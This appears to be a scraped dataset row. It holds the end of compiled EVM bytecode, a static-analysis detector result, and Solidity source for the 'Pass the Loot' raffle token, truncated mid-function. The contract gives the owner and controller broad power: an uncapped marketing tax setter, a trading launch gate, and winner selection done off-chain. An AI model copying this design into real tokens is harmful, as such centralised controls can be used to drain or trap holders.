6a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60406004810160003690501015610c1357600080fd5b600a60149054906101000a900460ff1615610d2257600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d0557600080fd5b505af1158015610d19573d6000803e3d6000fd5b50505050610d2d565b610d2c8383612053565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d9e57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610f1d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610edb57600080fd5b505afa158015610eef573d6000803e3d6000fd5b505050506040513d6020811015610f0557600080fd5b81019080805190602001909291905050509050610f23565b60015490505b90565b600060149054906101000a900460ff1615610f4057600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f9757600080fd5b600a60149054906101000a900460ff16156110da57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b1580156110bd57600080fd5b505af11580156110d1573d6000803e3d6000fd5b505050506110e6565b6110e58383836121ec565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461119457600080fd5b600060149054906101000a900460ff166111ad57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561137b57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561133957600080fd5b505afa15801561134d573d6000803e3d6000fd5b505050506040513d602081101561136357600080fd5b81019080805190602001909291905050509050611387565b61138482612692565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113e557600080fd5b600060149054906101000a900460ff16156113ff57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561156e5780601f106115435761010080835404028352916020019161156e565b820191906000526020600020905b81548152906001019060200180831161155157829003601f168201915b505050505081565b600060149054906101000a900460ff161561159057600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115e757600080fd5b600a60149054906101000a900460ff16156116f657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1580156116d957600080fd5b505af11580156116ed573d6000803e3d6000fd5b50505050611701565b61170082826126db565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461175e57600080fd5b6014821061176b57600080fd5b6032811061177857600080fd5b81600381905550611797600954600a0a82612a4290919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461183d57600080fd5b60015481600154011161184f57600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011161191d57600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a2e57600080fd5b806001541015611a3d57600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611aaa57600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611c8e57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611c4c57600080fd5b505afa158015611c60573d6000803e3d6000fd5b505050506040513d6020811015611c7657600080fd5b81019080805190602001909291905050509050611c9b565b611c988383612a79565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d2057600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e5b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611ed057806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f2c57600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f8257600080fd5b6000611f8d82611283565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6040600481016000369050101561206957600080fd5b600082141580156120f757506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561210157600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b6060600481016000369050101561220257600080fd5b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006122ae6127106122a060035487612a4290919063ffffffff16565b612b0090919063ffffffff16565b90506004548111156122c05760045490505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82101561237c576122fb8483612b1990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006123918286612b1990919063ffffffff16565b90506123e585600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1990919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247a81600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3090919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156126245761253982600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3090919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b604060048101600036905010156126f157600080fd5b600061271c61271061270e60035486612a4290919063ffffffff16565b612b0090919063ffffffff16565b905060045481111561272e5760045490505b60006127438285612b1990919063ffffffff16565b905061279784600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061282c81600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3090919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156129d6576128eb82600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3090919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505050565b600080831415612a555760009050612a73565b6000828402905082848281612a6657fe5b0414612a6e57fe5b809150505b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828481612b0c57fe5b0490508091505092915050565b600082821115612b2557fe5b818303905092915050565b600080828401905083811015612b4257fe5b809150509291505056fea265627a7a72305820bc2c5bc129e5883ff0b757e909d70fe332db41cd90ef68a4ba9ff21deb101afe64736f6c634300050a0032
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,864
0xE2188e5f335A786a487E468D07d388A9301c14d6
/* *Telegram: https://t.me/passtheloot_official *Website: https://Ethloot.io *Custom Contract and dApps created by FairTokenProject. Visit app.fairtokenproject.com to hire FTP for your next project. * Using FTPAntiBot - FTPAntiBot is a contract as a service (CaaS). Ward off harmful bots automatically. - Learn more at https://fairtokenproject.com */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private m_Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); m_Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return m_Owner; } function transferOwnership(address _newOwner) public virtual onlyOwner { emit OwnershipTransferred(m_Owner, _newOwner); m_Owner = _newOwner; } modifier onlyOwner() { require(_msgSender() == m_Owner, "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IWETH { function deposit() external payable; } interface FTPAntiBot { function scanAddress(address _sender, address _recipient, address _safeAddress, address _origin) external returns (bool); function registerBlock(address _recipient, address _sender, address _origin) external; } contract PASSTHELOOT is IERC20, Ownable { using SafeMath for uint256; uint256 private constant TOTAL_SUPPLY = 69000 * 10**18; string private m_Name = "Pass the Loot"; string private m_Symbol = "LOOT"; uint8 private m_Decimals = 18; address private m_UniswapV2Pair; address private m_Controller; address payable private m_MarketingWallet; IUniswapV2Router02 private m_UniswapV2Router; uint256 private m_TxLimit = TOTAL_SUPPLY.div(400); uint256 private m_WalletLimit = TOTAL_SUPPLY.div(80); bool private m_Liquidity = false; FTPAntiBot private AntiBot; address private m_AntibotSvcAddress = 0x2d2230185B24aF94FeEba779CA11Ff6f96d17e6D; //Double check address mapping (address => bool) private m_ExcludedAddresses; mapping (address => uint256) private m_Balances; mapping (uint256 => uint256) private m_RaffleTaxAmountVotes; mapping (uint256 => uint256) private m_LargestTaxAmountVotes; mapping (uint256 => uint256) private m_IntervalVote; mapping (uint256 => mapping (address => uint256)) private m_BuyerId; mapping (uint256 => mapping (address => uint256)) private m_VoterIdx; mapping (address => mapping (address => uint256)) private m_Allowances; mapping (uint256 => mapping (uint256 => uint256)) private m_GenericVote; mapping (address => uint256) m_Earnings; uint256 private m_Launched; uint256 private pMax = 100000; uint256 private m_RoundStart; uint256 private m_Interval = 900; uint256 private m_RaffleTax = 3000; uint256 private m_LargestBuyerTax = 2000; uint256 private m_GenericIdx = 0; uint256 private m_MarketingTax = 3000; uint256 private m_Round; uint256 private m_DAOmin = TOTAL_SUPPLY.div(1000); uint256 private m_VoteCycle = 1; uint256 private m_TotalWinnings; bool private m_AntiBot = false; address[] private m_Winners; uint256[] private m_Winnings; struct Buyer { address addr; uint256 amount; bool eligible; } struct Vote { uint256 interval; uint256 raffleTax; uint256 biggestTax; uint256 generic; } struct GameState { uint256 round; // default 1 uint256 gameInterval; // default 15min uint256 raffleTax; // default 3% uint256 biggestBuyerTax; // default 2% } mapping (uint256 => Buyer[]) private m_Raffle; mapping (uint256 => Vote[]) private m_Voters; receive() external payable {} constructor () { m_Launched = block.timestamp.add(69 days); AntiBot = FTPAntiBot(m_AntibotSvcAddress); m_Controller = msg.sender; m_MarketingWallet = payable(msg.sender); m_Winners.push(address(0)); m_Winnings.push(0); m_Raffle[0].push(Buyer(address(0),0,false)); m_Voters[m_VoteCycle].push(Vote(0,0,0,0)); m_Balances[address(this)] = TOTAL_SUPPLY; m_ExcludedAddresses[owner()] = true; m_ExcludedAddresses[address(this)] = true; emit Transfer(address(0), address(this), TOTAL_SUPPLY); } function name() public view returns (string memory) { return m_Name; } function symbol() public view returns (string memory) { return m_Symbol; } function decimals() public view returns (uint8) { return m_Decimals; } function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function balanceOf(address _account) public view override returns (uint256) { return m_Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return m_Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } function _isBuy(address _sender) private view returns (bool) { return _sender == m_UniswapV2Pair; } function _isSell(address _recipient) private view returns (bool) { return _recipient == m_UniswapV2Pair; } function _trader(address _sender, address _recipient) private view returns (bool) { return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]); } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair; } function _txRestricted(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient]; } function _walletCapped(address _recipient) private view returns (bool) { return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router); } function _checkTX() private view returns (uint256){ if(block.timestamp <= m_Launched.add(15 minutes)) return TOTAL_SUPPLY.div(400); else return TOTAL_SUPPLY; } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); m_Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _transfer(address _sender, address _recipient, uint256 _amount) private { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_amount > 0, "Transfer amount must be greater than zero"); if(m_AntiBot && _isExchangeTransfer(_sender, _recipient)) { require(!AntiBot.scanAddress(_sender, _recipient, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop"); AntiBot.registerBlock(_sender, _recipient, tx.origin); } if(_walletCapped(_recipient)) require(balanceOf(_recipient) < m_WalletLimit); uint256 _taxes = 0; if (_trader(_sender, _recipient)) { _taxes = _amount.div(pMax.div(_getTaxDenominator())); require(block.timestamp >= m_Launched); if (_txRestricted(_sender, _recipient)) require(_amount <= _checkTX()); } _updateBalances(_sender, _recipient, _amount, _taxes); } function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private { uint256 _netAmount = _amount.sub(_taxes); _updateDAO(_sender, _amount); m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount); m_Balances[address(this)] = m_Balances[address(this)].add(_taxes); if(_isBuy(_sender)) _trackBuy(_recipient, _netAmount); else if(_isSell(_recipient)) _trackSell(_sender); else{ _trackSell(_sender); _trackBuy(_recipient, _netAmount); } emit Transfer(_sender, _recipient, _netAmount); } function addLiquidity() external onlyOwner() { require(!m_Liquidity,"Liquidity already added."); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); m_UniswapV2Router = _uniswapV2Router; _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY); m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max); m_Liquidity = true; } function launch(uint256 _timer) external onlyOwner() { m_Launched = block.timestamp.add(_timer); m_AntiBot = true; m_Round = 1; m_RoundStart = m_Launched; m_Raffle[m_Round].push(Buyer(address(0),0,false)); } function _updateDAO(address _sender, uint256 _amount) private { uint256 _senderBal = balanceOf(_sender); if(_sender != m_UniswapV2Pair && _sender != address(this)){ if(_senderBal > m_DAOmin){ if(_senderBal.sub(_amount) < m_DAOmin){ _cleanVotes(_sender); } } } } function _cleanVotes(address _sender) private { if(m_VoterIdx[m_VoteCycle][msg.sender] != 0){ delete m_Voters[m_VoteCycle][m_VoterIdx[m_VoteCycle][_sender]]; m_VoterIdx[m_VoteCycle][msg.sender] = 0; } } function _trackBuy(address _recipient,uint256 _amount) private { if(m_BuyerId[m_Round][_recipient] != 0){ m_Raffle[m_Round][m_BuyerId[m_Round][_recipient]].amount += _amount; } else{ m_Raffle[m_Round].push(Buyer(_recipient, _amount, true)); m_BuyerId[m_Round][_recipient] = m_Raffle[m_Round].length - 1; } } function _trackSell(address _sender) private { if(m_BuyerId[m_Round][_sender] != 0) m_Raffle[m_Round][m_BuyerId[m_Round][_sender]].eligible = false; else{ m_Raffle[m_Round].push(Buyer(_sender, 0, false)); m_BuyerId[m_Round][_sender] = m_Raffle[m_Round].length - 1; } } function _swapTokensForETH(uint256 _amount) private { address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = m_UniswapV2Router.WETH(); _approve(address(this), address(m_UniswapV2Router), _amount); m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, address(this), block.timestamp ); } function _disperseETH(address[] memory _winners, address _specialWinner, uint256 _invalid) private { uint256 _bal = address(this).balance; if(_invalid == 0){ uint256 _denom = _getTaxDenominator(); uint256 _marketingShare = _bal.mul(m_MarketingTax).div(_denom); uint256 _share = _bal.mul(m_RaffleTax).div(_denom).div(_winners.length); uint256 _largestShare = _bal.mul(m_LargestBuyerTax).div(_denom).div(_winners.length); if (_marketingShare > 0) { m_MarketingWallet.transfer(_marketingShare); _bal = _bal.sub(_marketingShare); } m_TotalWinnings += _bal; if(_share > 0){ for(uint256 i=0; i<_winners.length; i++){ if(_share > address(this).balance) _share = address(this).balance; if(m_Raffle[m_Round][m_BuyerId[m_Round][_winners[i]]].eligible){ m_Winners.push(_winners[i]); m_Winnings.push(_share); m_Earnings[_winners[i]] += _share; payable(_winners[i]).transfer(_share); } _bal = _bal.sub(_share); } } if(_specialWinner != address(0) && _largestShare > 0){ if(_largestShare > address(this).balance) _largestShare = address(this).balance; if(m_Raffle[m_Round][m_BuyerId[m_Round][_specialWinner]].eligible){ m_Winners.push(_specialWinner); m_Winnings.push(_bal); m_Earnings[_specialWinner] += _bal; payable(_specialWinner).transfer(_bal); } } } else m_MarketingWallet.transfer(_bal.div(_invalid)); } function _getTaxDenominator() private view returns (uint256) { uint256 _ret = m_MarketingTax; _ret += m_LargestBuyerTax; _ret += m_RaffleTax; return _ret; } function _applyRoundSettings(uint256 _raffleTax, uint256 _biggestTax, uint256 _interval) private { if(m_RaffleTax != _raffleTax) m_RaffleTax = _raffleTax; if(m_LargestBuyerTax != _biggestTax) m_LargestBuyerTax = _biggestTax; if(m_Interval != _interval) m_Interval = _interval; } function updateMarketingTax(uint256 _value) external onlyOwner() { m_MarketingTax = _value; } function viewWinners() external view returns (address[] memory, uint256[] memory) { return (m_Winners, m_Winnings); } function earningsOf(address _address) external view returns (uint256) { return m_Earnings[_address]; } function vote(uint256 _raffle, uint256 _biggest, uint256 _interval) external { require(balanceOf(msg.sender) >= m_DAOmin); require(_raffle >= 1000); require(_raffle <= 7000); require(_biggest >= 0); require(_biggest <= 7000); require(_interval >= 900); require(_interval <= 86400); if(m_VoterIdx[m_VoteCycle][msg.sender] == 0){ m_Voters[m_VoteCycle].push(Vote(_interval, _raffle, _biggest, 0)); m_VoterIdx[m_VoteCycle][msg.sender] = m_Voters[m_VoteCycle].length - 1; } else{ m_Voters[m_VoteCycle][m_VoterIdx[m_VoteCycle][msg.sender]].raffleTax = _raffle; m_Voters[m_VoteCycle][m_VoterIdx[m_VoteCycle][msg.sender]].biggestTax = _biggest; m_Voters[m_VoteCycle][m_VoterIdx[m_VoteCycle][msg.sender]].interval = _interval; } } function voteForGeneric(uint256 _value) external { require(balanceOf(msg.sender) >= m_DAOmin); if(m_VoterIdx[m_VoteCycle][msg.sender] == 0){ m_Voters[m_VoteCycle].push(Vote(0, 0, 0, _value)); m_VoterIdx[m_VoteCycle][msg.sender] = m_Voters[m_VoteCycle].length - 1; } else m_Voters[m_VoteCycle][m_VoterIdx[m_VoteCycle][msg.sender]].generic = _value; } function getVotes() external view returns (Vote[] memory) { return m_Voters[m_VoteCycle]; } function getBuyers() external view returns (Buyer[] memory, Buyer[] memory) { return (m_Raffle[m_Round-1], m_Raffle[m_Round]); } function getGameState() external view returns (GameState memory) { return GameState(m_Round,m_Interval,m_RaffleTax,m_LargestBuyerTax); } function resetGame(address[] memory _winners, address _specialWinner, uint256 _raffleTax, uint256 _biggestTax, uint256 _interval, uint256 _cycle, uint256 _invalid) external { require(msg.sender == m_Controller); uint256 _bal = balanceOf(address(this)); _swapTokensForETH(_bal); _disperseETH(_winners, _specialWinner, _invalid); _applyRoundSettings(_raffleTax, _biggestTax, _interval); m_Round += 1; m_RoundStart = block.timestamp; m_Raffle[m_Round].push(Buyer(address(0), 0, false)); if (_cycle != 